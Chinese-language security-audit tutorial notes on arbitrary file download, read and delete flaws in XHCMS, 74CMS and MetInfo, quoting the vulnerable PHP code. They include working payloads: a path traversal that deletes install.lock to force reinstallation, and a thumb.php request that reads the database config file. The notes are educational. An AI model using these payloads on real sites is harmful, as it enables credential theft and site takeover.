知识点(很难碰到)
文件读取和文件下载:主要是获取网站敏感文件(对后期安全测试有所帮助)(数据库配置文件,接口配置文件,账户配置文件,操作系统敏感文件,口令密码等,网站自身的敏感文件)。
➢审计分析-文件下载-XHCMS-功能点
➢审计分析-文件读取-MetInfo-函数搜索
➢审计分析-文件删除-74CMS-函数搜索
➢黑盒分析-下载读取-下载资源URL参数
白盒审计(XHCMS)
文件下载
下载漏洞 :=> 任意文件下载:下载谁 下载文件能不能控制 == 漏洞
<?php require 'inc/conn.php'; $line=addslashes($_GET['line']); $type=addslashes($_GET['type']); $fileid=addslashes($_GET['cid']); if(!is_numeric($fileid)){ echo "错误的下载请求!"; exit;}
 
  $query = "SELECT * FROM download WHERE ( id='$fileid')";
  $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  $down= mysql_fetch_array($result);
  $fileadd=$down['softadd'];
  $fileadd2=$down['softadd2']; if ($type=='soft' AND $line=='pan'){ if ($fileadd2==""){ echo "<script language=JavaScript>alert('抱歉,程序尚在开发当中,请稍后再试!');history.back();window.close();</script>"; exit; 	}
  $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'"; @mysql_query($query) or die('修改错误:'.mysql_error()); 
  header("Location: $fileadd2");  exit; }
 
  if ($type=='soft' AND ($line=="telcom" OR $line=="unicom")){          $filename=$down['title'];     $filename2=$down['version'];          $filename=iconv("UTF-8", "GBK", $filename);          $houzhui=substr($fileadd,strrpos($fileadd,"."));
      $sourceFile = $fileadd;      $outFile = $filename." ".$filename2.$houzhui;           $file_extension = strtolower(substr(strrchr($sourceFile, "."), 1));                     if (!is_file($sourceFile)) {         die("<script language=JavaScript>alert('抱歉,本地下载未发现文件,请选择网盘下载!');history.back();window.close();</script>");     }     $len = filesize($sourceFile);      $filename = basename($sourceFile);      $outFile_extension = strtolower(substr(strrchr($outFile, "."), 1));           switch ($outFile_extension) {         case "exe" :             $ctype = "application/octet-stream";             break;         case "zip" :             $ctype = "application/zip";             break;         case "mp3" :             $ctype = "audio/mpeg";             break;         case "mpg" :             $ctype = "video/mpeg";             break;         case "avi" :             $ctype = "video/x-msvideo";             break;         default :             $ctype = "application/force-download";     }          header("Cache-Control:");     header("Cache-Control: public");
           header("Content-Type: $ctype");     header("Content-Disposition: attachment; filename=" . $outFile);     header("Accept-Ranges: bytes");     $size = filesize($sourceFile);          if (isset ($_SERVER['HTTP_RANGE'])) {         
 
 
 
 
 
 
 
 
                            list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);                           str_replace($range, "-", $range);          $size2 = $size -1;          $new_length = $size2 - $range;          header("HTTP/1.1 206 Partial Content");         header("Content-Length: $new_length");          header("Content-Range: bytes $range$size2/$size");      } else {                  $size2 = $size -1;         header("Content-Range: bytes 0-$size2/$size");          header("Content-Length: " . $size);      }
  $fp = fopen("$sourceFile", "rb");  
  fseek($fp, $range);  
  while (!feof($fp)) {            set_time_limit(0);       print (fread($fp, 1024 * 8));      flush();      ob_flush();   }   fclose($fp); 
  $query = "UPDATE download SET xiazai = xiazai+1 WhERE id='$fileid'"; @mysql_query($query) or die('修改错误:'.mysql_error());  exit ();  } ?>
 
   | 
 
流程-功能点抓包-寻代码文件-寻变量控制-构造测试
Payload:      softadd=d:/1.txt      softadd2=d:/1.txt
   | 
 
文件删除:74CMS-配合删除重装
功能点或函数
    流程-特定函数搜索-寻触发调用-构造Payload测试
upload/admin/admin_article.php:169 elseif($act == 'del_img') { 	check_token(); 	$id=intval($_GET['id']); 	$img=$_GET['img']; 	$sql="update ".table('article')." set Small_img='' where id=".$id." LIMIT 1"; 	$db->query($sql); 	@unlink($upfiles_dir.$img); 	@unlink($thumb_dir.$img); 	adminmsg("删除缩略图成功!",2); }
  upload/admin/include/admin_common.inc.php:48 $upfiles_dir="../data/".$_CFG['updir_images']."/";
 
  Payload: /admin/admin_article.php?act=del_img&img=../../data/install.lock
   | 
 
文件读取:MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造Payload测试
MetInfo6.0.0 app/system/include/module/old_thumb.class.php
  class old_thumb extends web{
  $dir = str_replace(array('../','./'), '', $_GET['dir']);
  if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){     header("Content-type: image/jpeg");     ob_start();     readfile($dir);     ob_flush();     flush();     die; }
  Payload:/include/thumb.php?dir=http\..\..\config\config_db.php
   | 
 
黑盒探针
1、URL参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名
2、功能点自行修改后分析:
文件下载,删除,读取等